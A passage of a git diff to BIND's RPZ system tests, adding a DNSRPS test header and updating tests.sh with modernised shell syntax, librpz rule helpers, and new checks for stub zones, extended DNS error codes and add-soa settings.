+sanity_check_data_file(const char *fname, char **errp);
+
+extern unsigned long
+parse_zone_options(const char *str);
+
+extern int
+get_address_info(const char *astr, int *pfamily, char *pbuf,
+		 const char *optname, char **errp);
diff --git a/bin/tests/system/rpz/testlib/trpz.h b/bin/tests/system/rpz/testlib/trpz.h
new file mode 100644
index 0000000000..96ffce047c
--- /dev/null
+++ b/bin/tests/system/rpz/testlib/trpz.h
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Limited implementation of the DNSRPS API for testing purposes.
+ *
+ * Copyright (c) 2016-2017 Farsight Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *	http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef TRPZ_H
+#define TRPZ_H
+
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+
+#define TARGET_ZONE "rpz-test.example.com"
+
+/* This should be in the librpz.h include. */
+union socku {
+	struct sockaddr sa;
+	struct sockaddr_in ipv4;
+	struct sockaddr_in6 ipv6;
+	struct sockaddr_un sun;
+};
+
+typedef struct {
+	const char *mname;
+	const char *rname;
+	uint32_t serial;
+	uint32_t refresh;
+	uint32_t retry;
+	uint32_t expire;
+	uint32_t minimum;
+} rpz_soa_t;
+
+#endif
diff --git a/bin/tests/system/rpz/tests.sh b/bin/tests/system/rpz/tests.sh
index c888289db4..ac9967592d 100644
--- a/bin/tests/system/rpz/tests.sh
+++ b/bin/tests/system/rpz/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # test response policy zones (RPZ)
 
 # touch dnsrps-off to not test with DNSRPS
@@ -25,12 +29,15 @@ ns5=$ns.5		# another rewriting resolver
 ns6=$ns.6		# a forwarding server
 ns7=$ns.7		# another rewriting resolver
 ns8=$ns.8		# another rewriting resolver
+ns9=$ns.9		# another rewriting resolver
+ns10=$ns.10		# authoritative server
 
 HAVE_CORE=
 
 status=0
 t=0
 
+export DNSRPS_TEST_UPDATE_FILE=$(pwd)/dnsrps.cache
 DEBUG=
 SAVE_RESULTS=
 ARGS=
@@ -43,7 +50,7 @@ while getopts "xS:" c; do
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -62,8 +69,7 @@ comment () {
 DNSRPSCMD=./dnsrps
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
-if test -x $DNSRPSCMD; then
-    # speed up the many delays for dnsrpzd by waiting only 0.1 seconds
+if test -x "$DNSRPSCMD"; then
     WAIT_CMD="$DNSRPSCMD -w 0.1"
     TEN_SECS=100
 else
@@ -78,30 +84,28 @@ digcmd () {
     # Default to +noauth and @$ns3
     # Also default to -bX where X is the @value so that OS X will choose
     #	    the right IP source address.
-    digcmd_args=`echo "+nocookie +noadd +time=2 +tries=1 -p ${PORT} $*" |	\
+    digcmd_args=$(echo "+nocookie +noadd +time=2 +tries=1 -p ${PORT} $*" |	\
 	    sed -e "/@/!s/.*/& @$ns3/"					\
 		-e '/-b/!s/@\([^ ]*\)/@\1 -b\1/'			\
-		-e '/+n?o?auth/!s/.*/+noauth &/'`
+		-e '/+n?o?auth/!s/.*/+noauth &/')
     #echo_i "dig $digcmd_args 1>&2
-    $DIG $digcmd_args
+    $DIG $digcmd_args || return
 }
 
 # set DIGNM=file name for dig output
 GROUP_NM=
 TEST_NUM=0
 make_dignm () {
-    TEST_NUM=`expr $TEST_NUM : '\([0-9]*\).*'`	    # trim '+' characters
-    TEST_NUM=`expr $TEST_NUM + 1`
+    TEST_NUM=$((TEST_NUM + 1))
     DIGNM=dig.out$GROUP_NM-$TEST_NUM
     while test -f $DIGNM; do
-	TEST_NUM="$TEST_NUM+"
-	DIGNM=dig.out$GROUP_NM-$TEST_NUM
+	DIGNM="$DIGNM+"
     done
 }
 
 setret () {
     ret=1
-    status=`expr $status + 1`
+    status=$((status + 1))
     echo_i "$*"
 }
 
@@ -109,15 +113,15 @@ setret () {
 # $1=domain
 # $2=DNS server and client IP address
 get_sn() {
-    SOA=`$DIG -p ${PORT} +short +norecurse soa "$1" "@$2" "-b$2"`
-    SN=`expr "$SOA" : '[^ ]* [^ ]* \([^ ]*\) .*'`
+    SOA=$($DIG -p ${PORT} +short +norecurse soa "$1" "@$2" "-b$2")
+    SN=$(expr "$SOA" : '[^ ]* [^ ]* \([^ ]*\) .*' || true)
     test "$SN" != "" && return
     echo_i "no serial number from \`dig -p ${PORT} soa $1 @$2\` in \"$SOA\""
     exit 1
 }
 
 get_sn_fast () {
-    RSN=`$DNSRPSCMD -n "$1"`
+    RSN=$($DNSRPSCMD -n "$1")
     #echo "dnsrps serial for $1 is $RSN"
     if test -z "$RSN"; then
 	echo_i "dnsrps failed to get SOA serial number for $1"
@@ -125,12 +129,12 @@ get_sn_fast () {
     fi
 }
 
-# check that dnsrpzd has loaded its zones
+# check that dnsrps provider has zones loaded
 # $1=domain
 # $2=DNS server IP address
-FZONES=`sed -n -e 's/^zone "\(.*\)".*\(10.53.0..\).*/Z=\1;M=\2/p' dnsrpzd.conf`
+FZONES=$(sed -n -e 's/^zone "\(.*\)".*\(10.53.0..\).*/Z=\1;M=\2/p' dnsrps.zones)
 dnsrps_loaded() {
-    test "$mode" = dnsrps || return
+    test "$mode" = dnsrps || return 0
     n=0
     for V in $FZONES; do
 	eval "$V"
@@ -141,7 +145,7 @@ dnsrps_loaded() {
 		#echo "$Z @$M serial=$SN"
 		break
 	    fi
-	    n=`expr $n + 1`
+	    n=$((n + 1))
 	    if test "$n" -gt $TEN_SECS; then
 		echo_i "dnsrps serial for $Z is $RSN instead of $SN"
 		exit 1
@@ -166,7 +170,7 @@ ck_soa() {
 	    get_sn "$2" "$3"
 	    test "$SN" -eq "$1" && return
 	fi
-	n=`expr $n + 1`
+	n=$((n + 1))
 	if test "$n" -gt $TEN_SECS; then
 	    echo_i "got serial number \"$SN\" instead of \"$1\" from $2 @$3"
 	    return
@@ -178,7 +182,15 @@ ck_soa() {
 # (re)load the response policy zones with the rules in the file $TEST_FILE
 load_db () {
     if test -n "$TEST_FILE"; then
-        copy_setports $TEST_FILE tmp
+	copy_setports $TEST_FILE tmp
+
+	for ZONE in bl0 bl1 bl2 bl3 bl4 bl5 bl6 bl7 bl8 bl9 bl10 bl11 bl12 bl13 bl14 bl15 bl16 bl17 bl18 bl19; do
+	   produce_librpz_rules ns5 $ZONE bl
+	done
+
+	produce_librpz_rules ns2 bl.tld2 bl.tld2
+	cat tmp >> $DNSRPS_TEST_UPDATE_FILE
+
 	if $NSUPDATE -v tmp; then :
 	    $RNDCCMD $ns3 sync
 	else
@@ -186,7 +198,7 @@ load_db () {
 	    $RNDCCMD $ns3 sync
 	    exit 1
 	fi
-        rm -f tmp
+	rm -f tmp
     fi
 }
 
@@ -200,22 +212,22 @@ restart () {
 	$RNDCCMD $ns$1 halt >/dev/null 2>&1
 	if test -f ns$1/named.pid; then
 	    sleep 1
-	    PID=`cat ns$1/named.pid 2>/dev/null`
+	    PID=$(cat ns$1/named.pid 2>/dev/null)
 	    if test -n "$PID"; then
 		echo_i "killing ns$1 server $PID"
-		$KILL -9 $PID
+		kill -9 $PID
 	    fi
 	fi
     fi
     rm -f ns$1/*.jnl
     if [ "$2" = "rebuild-bl-rpz" ]; then
-        if test -f ns$1/base.db; then
+	if test -f ns$1/base.db; then
 	    for NM in ns$1/bl*.db; do
-	        cp -f ns$1/base.db $NM
-            done
-        fi
+		cp -f ns$1/base.db $NM
+	    done
+	fi
     fi
-    start_server --noclean --restart --port ${PORT} rpz ns$1
+    start_server --noclean --restart --port ${PORT} ns$1
     load_db
     dnsrps_loaded
     sleep 1
@@ -224,7 +236,7 @@ restart () {
 # $1=server and irrelevant args
 # $2=error message
 ckalive () {
-    CKALIVE_NS=`expr "$1" : '.*@ns\([1-9]\).*'`
+    CKALIVE_NS=$(expr "$1" : '.*@ns\([1-9]\).*' || true)
     if test -z "$CKALIVE_NS"; then
 	CKALIVE_NS=3
     fi
@@ -234,12 +246,12 @@ ckalive () {
     setret "$2"
     # restart the server to avoid stalling waiting for it to stop
     restart $CKALIVE_NS "rebuild-bl-rpz"
-    return 1
+    return 0
 }
 
 resetstats () {
-        NSDIR=$1
-        eval "${NSDIR}_CNT=''"
+	NSDIR=$1
+	eval "${NSDIR}_CNT=''"
 }
 
 ckstats () {
@@ -248,10 +260,12 @@ ckstats () {
     NSDIR="$3"
     EXPECTED="$4"
     $RNDCCMD $HOST stats
-    NEW_CNT=0`sed -n -e 's/[	 ]*\([0-9]*\).response policy.*/\1/p'  \
-		    $NSDIR/named.stats | tail -1`
-    eval "OLD_CNT=0\$${NSDIR}_CNT"
-    GOT=`expr $NEW_CNT - $OLD_CNT`
+    NEW_CNT=$(sed -n -e 's/[	 ]*\([0-9]*\).response policy.*/\1/p'  \
+		    $NSDIR/named.stats | tail -1)
+    eval "OLD_CNT=\$${NSDIR}_CNT"
+    NEW_CNT=$((NEW_CNT))
+    OLD_CNT=$((OLD_CNT))
+    GOT=$((NEW_CNT - OLD_CNT))
     if test "$GOT" -ne "$EXPECTED"; then
 	setret "wrong $LABEL $NSDIR statistics of $GOT instead of $EXPECTED"
     fi
@@ -265,21 +279,33 @@ ckstatsrange () {
     MIN="$4"
     MAX="$5"
     $RNDCCMD $HOST stats
-    NEW_CNT=0`sed -n -e 's/[	 ]*\([0-9]*\).response policy.*/\1/p'  \
-		    $NSDIR/named.stats | tail -1`
-    eval "OLD_CNT=0\$${NSDIR}_CNT"
-    GOT=`expr $NEW_CNT - $OLD_CNT`
+    NEW_CNT=$(sed -n -e 's/[	 ]*\([0-9]*\).response policy.*/\1/p'  \
+		    $NSDIR/named.stats | tail -1)
+    eval "OLD_CNT=\$${NSDIR}_CNT"
+    NEW_CNT=$((NEW_CNT))
+    OLD_CNT=$((OLD_CNT))
+    GOT=$((NEW_CNT - OLD_CNT))
     if test "$GOT" -lt "$MIN" -o "$GOT" -gt "$MAX"; then
 	setret "wrong $LABEL $NSDIR statistics of $GOT instead of ${MIN}..${MAX}"
     fi
     eval "${NSDIR}_CNT=$NEW_CNT"
 }
 
+add_librpz_rule() {
+    echo $1 >> $DNSRPS_TEST_UPDATE_FILE
+}
+
+produce_librpz_rules() {
+    # echo "Producing rules for $1"
+    ZONEFILE=$1/$3.db
+    cat $ZONEFILE | grep -E -v '^;' | grep -E '\<(A|CNAME)\>' | awk -v zone=$2 '{ if (NF == 4) {print "static add "$1"."zone" "$2" "$3" "$4} else if (NF == 3) {print "static add "$1"."zone" 300 "$2" "$3}}' >> $DNSRPS_TEST_UPDATE_FILE
+}
+
 # $1=message
 # $2=optional test file name
 start_group () {
     ret=0
-    t=`expr $t + 1`
+    t=$((t + 1))
     test -n "$1" && date "+${TS}checking $1 (${t})" | cat_i
     TEST_FILE=$2
     if test -n "$TEST_FILE"; then
@@ -295,9 +321,10 @@ start_group () {
 end_group () {
     if test -n "$TEST_FILE"; then
 	# remove the previous set of test rules
-        copy_setports $TEST_FILE tmp
+	copy_setports $TEST_FILE tmp
+	add_librpz_rule "rollback"
 	sed -e 's/[	 ]add[	 ]/ delete /' tmp | $NSUPDATE
-        rm -f tmp
+	rm -f tmp
 	TEST_FILE=
     fi
     ckalive $ns3 "failed; ns3 server crashed and restarted"
@@ -328,13 +355,13 @@ ckresult () {
 	grep -q 'Truncated, retrying in TCP' $DIGNM && trunc=1 || trunc=0
 	if [ "$tcp" -ne "$trunc" ]; then
 	    setret "'dig $digarg' wrong; no or unexpected truncation in $DIGNM"
-	    return 1
+	else
+	    clean_result ${DIGNM}*
 	fi
-	clean_result ${DIGNM}*
 	return 0
     fi
     setret "'dig $digarg' wrong; diff $DIGNM $2"
-    return 1
+    return 0
 }
 
 # check only that the server does not crash
@@ -378,15 +405,15 @@ addr () {
     make_dignm
     digcmd $2 >$DIGNM
     #ckalive "$2" "server crashed by 'dig $2'" || return 1
-    ADDR_ESC=`echo "$ADDR" | sed -e 's/\./\\\\./g'`
-    ADDR_TTL=`tr -d '\r' < $DIGNM | sed -n -e "s/^[-.a-z0-9]\{1,\}[	 ]*\([0-9]*\)	IN	AA*	${ADDR_ESC}\$/\1/p"`
+    ADDR_ESC=$(echo "$ADDR" | sed -e 's/\./\\./g')
+    ADDR_TTL=$(sed -n -e "s/^[-.a-z0-9]\{1,\}[	 ]*\([0-9]*\)	IN	AA*	${ADDR_ESC}\$/\1/p" $DIGNM)
     if test -z "$ADDR_TTL"; then
 	setret "'dig $2' wrong; no address $ADDR record in $DIGNM"
-	return 1
+	return 0
     fi
     if test -n "$3" && test "$ADDR_TTL" -ne "$3"; then
 	setret "'dig $2' wrong; TTL=$ADDR_TTL instead of $3 in $DIGNM"
-	return 1
+	return 0
     fi
     clean_result ${DIGNM}*
 }
@@ -403,6 +430,13 @@ nochange () {
     ckresult "$*" ${DIGNM}_OK && clean_result ${DIGNM}_OK
 }
 
+nochange_ns10 () {
+    make_dignm
+    digcmd $* >$DIGNM
+    digcmd $* @$ns10 >${DIGNM}_OK
+    ckresult "$*" ${DIGNM}_OK && clean_result ${DIGNM}_OK
+}
+
 # check against a 'here document'
 here () {
     make_dignm
@@ -412,16 +446,16 @@ here () {
 }
 
 # check dropped response
-DROPPED='^;; connection timed out; no servers could be reached'
+DROPPED='^;; no servers could be reached'
 drop () {
     make_dignm
-    digcmd $* >$DIGNM
+    digcmd $* >$DIGNM || true
     if grep "$DROPPED" $DIGNM >/dev/null; then
 	clean_result ${DIGNM}*
 	return 0
     fi
     setret "'dig $1' wrong; response in $DIGNM"
-    return 1
+    return 0
 }
 
 nsd() {
@@ -453,6 +487,11 @@ make_proto_nodata() {
   return 0
 }
 
+# ensure that the fast-expire zone is populated before we begin testing
+$RNDCCMD $ns3 retransfer fast-expire
+
+native=0
+dnsrps=0
 for mode in native dnsrps; do
   status=0
   case ${mode} in
@@ -470,7 +509,7 @@ for mode in native dnsrps; do
       continue
     fi
     echo_i "attempting to configure servers with DNSRPS..."
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpz
+    stop_server --use-rndc --port ${CONTROLPORT}
     $SHELL ./setup.sh -N -D $DEBUG
     for server in ns*; do
       resetstats $server
@@ -485,7 +524,7 @@ for mode in native dnsrps; do
       continue
     else
       echo_i "running DNSRPS sub-test"
-      start_server --noclean --restart --port ${PORT} rpz
+      start_server --noclean --restart --port ${PORT}
       sleep 3
     fi
     ;;
@@ -496,6 +535,7 @@ for mode in native dnsrps; do
   retry_quiet 10 make_proto_nodata
 
   start_group "QNAME rewrites" test1
+
   nochange .					# 1 do not crash or rewrite root
   nxdomain a0-1.tld2				# 2
   nodata a3-1.tld2				# 3
@@ -586,13 +626,18 @@ EOF
   # updating an response zone policy
   cp ns2/blv2.tld2.db.in ns2/bl.tld2.db
   rndc_reload ns2 $ns2 bl.tld2
+  add_librpz_rule "update zone bl.tld2 1 inc"
   ck_soa 2 bl.tld2 $ns3
+  add_librpz_rule "wipe"
+  produce_librpz_rules ns2 bl.tld2 bl.tld2
   nochange a7-1.tld2				# 19 PASSTHRU
   # ensure that a clock tick has occurred so that named will do the reload
   sleep 1
   cp ns2/blv3.tld2.db.in ns2/bl.tld2.db
   rndc_reload ns2 $ns2 bl.tld2
+  add_librpz_rule "update zone bl.tld2 1 inc"
   ck_soa 3 bl.tld2 $ns3
+  produce_librpz_rules ns2 bl.tld2 bl.tld2
   nxdomain a7-1.tld2				# 20 secondary policy zone (RT34450)
   end_group
   ckstats $ns3 test2 ns3 12
@@ -615,6 +660,7 @@ EOF
 
   # these tests assume "min-ns-dots 0"
   start_group "NSDNAME rewrites" test3
+  nextpart ns3/named.run > /dev/null
   nochange a3-1.tld2				# 1
   nochange a3-1.tld2 +dnssec			# 2 this once caused problems
   nxdomain a3-1.sub1.tld2			# 3 NXDOMAIN *.sub1.tld2 by NSDNAME
@@ -627,25 +673,29 @@ EOF
   addr 127.0.0.1 a3-1.sub3.tld2			# 10 prefer policy for largest NSDNAME
   addr 127.0.0.2 a3-1.subsub.sub3.tld2		# 11
   nxdomain xxx.crash1.tld2			# 12 dns_db_detachnode() crash
-  if [ "$mode" = dnsrps ]; then
-    addr 12.12.12.12 as-ns.tld5.		# 13 qname-as-ns
-  fi
+
+  nxdomain a3-1.stub				# 13
+  nxdomain a3-1.static-stub			# 14
+  nochange_ns10 a3-1.stub-nomatch		# 15
+  nochange_ns10 a3-1.static-stub-nomatch	# 16
+  nextpart ns3/named.run | grep -q "unrecognized NS rpz_rrset_find() failed: glue" &&
+  setret "seen: unrecognized NS rpz_rrset_find() failed: glue"
   end_group
-  if [ "$mode" = dnsrps ]; then
-    ckstats $ns3 test3 ns3 8
-  else
-    ckstats $ns3 test3 ns3 7
-  fi
+  ckstats $ns3 test3 ns3 9
 
   # these tests assume "min-ns-dots 0"
   start_group "NSIP rewrites" test4
+  nextpart ns3/named.run > /dev/null
   nxdomain a3-1.tld2				# 1 NXDOMAIN for all of tld2
   nochange a3-2.tld2.				# 2 exempt rewrite by name
   nochange a0-1.tld2.				# 3 exempt rewrite by address block
   nochange a3-1.tld4				# 4 different NS IP address
-  if [ "$mode" = dnsrps ]; then
-      addr 12.12.12.12 as-ns.tld5.		# 5 ip-as-ns
-  fi
+  nxdomain a4-1.stub				# 5
+  nxdomain a4-1.static-stub			# 6
+  nochange_ns10 a4-1.stub-nomatch		# 7
+  nochange_ns10 a4-1.static-stub-nomatch	# 8
+  nextpart ns3/named.run | grep -q "unrecognized NS rpz_rrset_find() failed: glue" &&
+  setret "seen: unrecognized NS rpz_rrset_find() failed: glue"
   end_group
 
   start_group "walled garden NSIP rewrites" test4a
@@ -656,11 +706,7 @@ EOF
     a3-1.tld2.	    x	IN	TXT   "NSIP walled garden"
 EOF
   end_group
-  if [ "$mode" = dnsrps ]; then
-    ckstats $ns3 test4 ns3 5
-  else
-    ckstats $ns3 test4 ns3 4
-  fi
+  ckstats $ns3 test4 ns3 6
 
   # policies in ./test5 overridden by response-policy{} in ns3/named.conf
   # and in ns5/named.conf
@@ -693,6 +739,7 @@ EOF
   ckstats $ns5 test5 ns5 4
 
   # check that miscellaneous bugs are still absent
+  add_librpz_rule "wipe"
   start_group "crashes" test6
   for Q in RRSIG SIG ANY 'ANY +dnssec'; do
     nocrash a3-1.tld2 -t$Q
@@ -710,7 +757,7 @@ EOF
   ckstats $ns3 bugs ns3 8
 
   # superficial test for major performance bugs
-  QPERF=`sh qperf.sh`
+  QPERF=$(sh qperf.sh)
   if test -n "$QPERF"; then
     perf () {
 	date "+${TS}checking performance $1" | cat_i
@@ -722,8 +769,8 @@ EOF
 	PFILE="ns5/$2.perf"
 	$QPERF -c -1 -l30 -d ns5/requests -s $ns5 -p ${PORT} >$PFILE
 	comment "after test $1"
-	X=`sed -n -e 's/.*Returned *\([^ ]*:\) *\([0-9]*\) .*/\1\2/p' $PFILE \
-		| tr '\n' ' '`
+	X=$(sed -n -e 's/.*Returned *\([^ ]*:\) *\([0-9]*\) .*/\1\2/p' $PFILE \
+		| tr '\n' ' ')
 	if test "$X" != "$3"; then
 	    setret "wrong results '$X' in $PFILE"
 	fi
@@ -735,14 +782,14 @@ EOF
 
     # get qps with rpz
     perf 'with RPZ' rpz 'NOERROR:2900 NXDOMAIN:100 '
-    RPZ=`trim rpz`
+    RPZ=$(trim rpz)
     # turn off rpz and measure qps again
     echo "# RPZ off" >ns5/rpz-switch
-    RNDCCMD_OUT=`$RNDCCMD $ns5 reload`
+    RNDCCMD_OUT=$($RNDCCMD $ns5 reload)
     perf 'without RPZ' norpz 'NOERROR:3000 '
-    NORPZ=`trim norpz`
+    NORPZ=$(trim norpz)
 
-    PERCENT=`expr \( "$RPZ" \* 100 + \( $NORPZ / 2 \) \) / $NORPZ`
+    PERCENT=$(( (RPZ * 100 + (NORPZ / 2)) / NORPZ))
     echo_i "$RPZ qps with RPZ is $PERCENT% of $NORPZ qps without RPZ"
 
     MIN_PERCENT=30
@@ -760,28 +807,8 @@ EOF
     echo_i "performance not checked; queryperf not available"
   fi
 
-  if [ "$mode" = dnsrps ]; then
-    echo_i "checking that dnsrpzd is automatically restarted"
-    OLD_PID=`cat dnsrpzd.pid`
-    $KILL "$OLD_PID"
-    n=0
-    while true; do
-	NEW_PID=`cat dnsrpzd.pid 2>/dev/null`
-	if test -n "$NEW_PID" -a "0$OLD_PID" -ne "0$NEW_PID"; then
-	    #echo "OLD_PID=$OLD_PID  NEW_PID=$NEW_PID"
-	    break;
-	fi
-	$DIG -p ${PORT} +short +norecurse a0-1.tld2 @$ns3 >/dev/null
-	n=`expr $n + 1`
-	if test "$n" -gt $TEN_SECS; then
-	    setret "dnsrpzd did not restart"
-	    break
-	fi
-	$WAIT_CMD
-    done
-  fi
-
   # Ensure ns3 manages to transfer the fast-expire zone before shutdown.
+  nextpartreset ns3/named.run
   wait_for_log 20 "zone fast-expire/IN: transferred serial 1" ns3/named.run
 
   # reconfigure the ns5 primary server without the fast-expire zone, so
@@ -791,35 +818,51 @@ EOF
 
   # restart the main test RPZ server to see if that creates a core file
   if test -z "$HAVE_CORE"; then
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpz ns3
+    stop_server --use-rndc --port ${CONTROLPORT} ns3
+    add_librpz_rule "restart"
     restart 3 "rebuild-bl-rpz"
-    HAVE_CORE=`find ns* -name '*core*' -print`
+    HAVE_CORE=$(find ns* -name '*core*' -print)
     test -z "$HAVE_CORE" || setret "found $HAVE_CORE; memory leak?"
   fi
 
   # look for complaints from lib/dns/rpz.c and bin/name/query.c
   for runfile in ns*/named.run; do
-    EMSGS=`nextpart $runfile | egrep -l 'invalid rpz|rpz.*failed'`
+    EMSGS=$(nextpart $runfile | grep -E -l 'invalid rpz|rpz.*failed' || true)
     if test -n "$EMSGS"; then
       setret "error messages in $runfile starting with:"
-      egrep 'invalid rpz|rpz.*failed' ns*/named.run | \
-              sed -e '10,$d' -e 's/^//' | cat_i
+      grep -E 'invalid rpz|rpz.*failed' ns*/named.run | \
+	      sed -e '10,$d' -e 's/^//' | cat_i
     fi
   done
 
   if [ native = "$mode" ]; then
     # restart the main test RPZ server with a bad zone.
-    t=`expr $t + 1`
+    t=$((t + 1))
     echo_i "checking that ns3 with broken rpz does not crash (${t})"
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpz ns3
+    stop_server --use-rndc --port ${CONTROLPORT} ns3
     cp ns3/broken.db.in ns3/bl.db
     restart 3 # do not rebuild rpz zones
     nocrash a3-1.tld2 -tA
-    $PERL ../stop.pl --use-rndc --port ${CONTROLPORT} rpz ns3
+    stop_server --use-rndc --port ${CONTROLPORT} ns3
     restart 3 "rebuild-bl-rpz"
 
+    t=$((t + 1))
+    echo_i "checking if rpz survives a certain class of failed reconfiguration attempts (${t})"
+    sed -e "s/^#BAD//" < ns3/named.conf.in > ns3/named.conf.tmp
+    copy_setports ns3/named.conf.tmp ns3/named.conf
+    rm ns3/named.conf.tmp
+    $RNDCCMD $ns3 reconfig > /dev/null 2>&1 && setret "failed"
+    sleep 1
+    copy_setports ns3/named.conf.in ns3/named.conf
+    $RNDCCMD $ns3 reconfig || setret "failed"
+
+    t=$((t + 1))
+    echo_i "checking the configured extended DNS error code (EDE) (${t})"
+    $DIG -p ${PORT} @$ns3 walled.tld2 > dig.out.$t
+    grep -F "EDE: 4 (Forged Answer)" dig.out.$t > /dev/null || setret "failed"
+
     # reload a RPZ zone that is now deliberately broken.
-    t=`expr $t + 1`
+    t=$((t + 1))
     echo_i "checking rpz failed update will keep previous rpz rules (${t})"
     $DIG -p ${PORT} @$ns3 walled.tld2 > dig.out.$t.before
     grep "walled\.tld2\..*IN.*A.*10\.0\.0\.1" dig.out.$t.before > /dev/null || setret "failed"
@@ -830,7 +873,12 @@ EOF
     $DIG -p ${PORT} @$ns3 walled.tld2 > dig.out.$t.after
     grep "walled\.tld2\..*IN.*A.*10\.0\.0\.1" dig.out.$t.after > /dev/null || setret "failed"
 
-    t=`expr $t + 1`
+    t=$((t + 1))
+    echo_i "checking the default (unset) extended DNS error code (EDE) (${t})"
+    $DIG -p ${PORT} @$ns3 a6-2.tld2. A > dig.out.$t
+    grep -F "EDE: " dig.out.$t > /dev/null && setret "failed"
+
+    t=$((t + 1))
     echo_i "checking reload of a mixed-case RPZ zone (${t})"
     # First, a sanity check: the A6-2.TLD2.mixed-case-rpz RPZ record should
     # cause a6-2.tld2 NOERROR answers to be rewritten to NXDOMAIN answers.
@@ -849,13 +897,13 @@ EOF
     grep "status: NXDOMAIN" dig.out.$t.after >/dev/null || setret "failed"
   fi
 
-  t=`expr $t + 1`
+  t=$((t + 1))
   echo_i "checking that ttl values are not zeroed when qtype is '*' (${t})"
   $DIG +noall +answer -p ${PORT} @$ns3 any a3-2.tld2 > dig.out.$t
-  ttl=`awk '/a3-2 tld2 text/ {print $2}' dig.out.$t`
+  ttl=$(awk '/a3-2 tld2 text/ {print $2}' dig.out.$t)
   if test ${ttl:=0} -eq 0; then setret "failed"; fi
 
-  t=`expr $t + 1`
+  t=$((t + 1))
   echo_i "checking rpz updates/transfers with parent nodes added after children (${t})"
   # regression test for RT #36272: the success condition
   # is the secondary server not crashing.
@@ -868,29 +916,47 @@ EOF
     nsd $ns5 delete '*.example.com.policy1.' example.com.policy1.
   done
 
-  t=`expr $t + 1`
+
+  t=$((t + 1))
   echo_i "checking that going from an empty policy zone works (${t})"
   nsd $ns5 add '*.x.servfail.policy2.' x.servfail.policy2.
+  add_librpz_rule "update add *.x.servfail.policy2 300 CNAME ."
   sleep 1
   rndc_reload ns7 $ns7 policy2
   $DIG z.x.servfail -p ${PORT} @$ns7 > dig.out.${t}
   grep NXDOMAIN dig.out.${t} > /dev/null || setret "failed"
 
-  t=`expr $t + 1`
-  echo_i "checking that "add-soa no" at rpz zone level works (${t})"
+  t=$((t + 1))
+  echo_i "checking that 'ede none' works same way as when \"ede\" is unset (${t})"
+  $DIG z.x.servfail -p ${PORT} @$ns7 > dig.out.${t}
+  grep -F "EDE: " dig.out.${t} > /dev/null && setret "failed"
+
+  t=$((t + 1))
+  echo_i "checking that 'add-soa no' at rpz zone level works (${t})"
   $DIG z.x.servfail -p ${PORT} @$ns7 > dig.out.${t}
   grep SOA dig.out.${t} > /dev/null && setret "failed"
 
   if [ native = "$mode" ]; then
-    t=`expr $t + 1`
-    echo_i "checking that "add-soa yes" at response-policy level works (${t})"
+    t=$((t + 1))
+    echo_i "checking that 'add-soa yes' at response-policy level works (${t})"
     $DIG walled.tld2 -p ${PORT} +noall +add @$ns3 > dig.out.${t}
     grep "^manual-update-rpz\..*SOA" dig.out.${t} > /dev/null || setret "failed"
   fi
 
   if [ native = "$mode" ]; then
-    t=`expr $t + 1`
-    echo_i "checking that "add-soa unset" works (${t})"
+    t=$((t + 1))
+    echo_i "reconfiguring server with 'add-soa no' (${t})"
+    cp ns3/named.conf ns3/named.conf.tmp
+    sed -e "s/add-soa yes/add-soa no/g" < ns3/named.conf.tmp > ns3/named.conf
+    rndc_reconfig ns3 $ns3
+    echo_i "checking that 'add-soa no' at response-policy level works (${t})"
+    $DIG walled.tld2 -p ${PORT} +noall +add @$ns3 > dig.out.${t}
+    grep "^manual-update-rpz\..*SOA" dig.out.${t} > /dev/null && setret "failed"
+  fi
+
+  if [ native = "$mode" ]; then
+    t=$((t + 1))
+    echo_i "checking that 'add-soa unset' works (${t})"
     $DIG walled.tld2 -p ${PORT} +noall +add @$ns8 > dig.out.${t}
     grep "^manual-update-rpz\..*SOA" dig.out.${t} > /dev/null || setret "failed"
   fi
@@ -898,12 +964,12 @@ EOF
   # dnsrps does not allow NS RRs in policy zones, so this check
   # with dnsrps results in no rewriting.
   if [ native = "$mode" ]; then
-    t=`expr $t + 1`
+    t=$((t + 1))
     echo_i "checking rpz with delegation fails correctly (${t})"
     $DIG -p ${PORT} @$ns3 ns example.com > dig.out.$t
     grep "status: SERVFAIL" dig.out.$t > /dev/null || setret "failed"
 
-    t=`expr $t + 1`
+    t=$((t + 1))
     echo_i "checking policies from expired zone are no longer in effect ($t)"
     $DIG -p ${PORT} @$ns3 a expired > dig.out.$t
     grep "expired.*10.0.0.10" dig.out.$t > /dev/null && setret "failed"
@@ -911,11 +977,12 @@ EOF
   fi
 
   # RPZ 'CNAME *.' (NODATA) trumps DNS64.  Test against various DNS64 scenarios.
+  produce_librpz_rules ns9 rpz rpz
   for label in a-only no-a-no-aaaa a-plus-aaaa
   do
     for type in AAAA A
     do
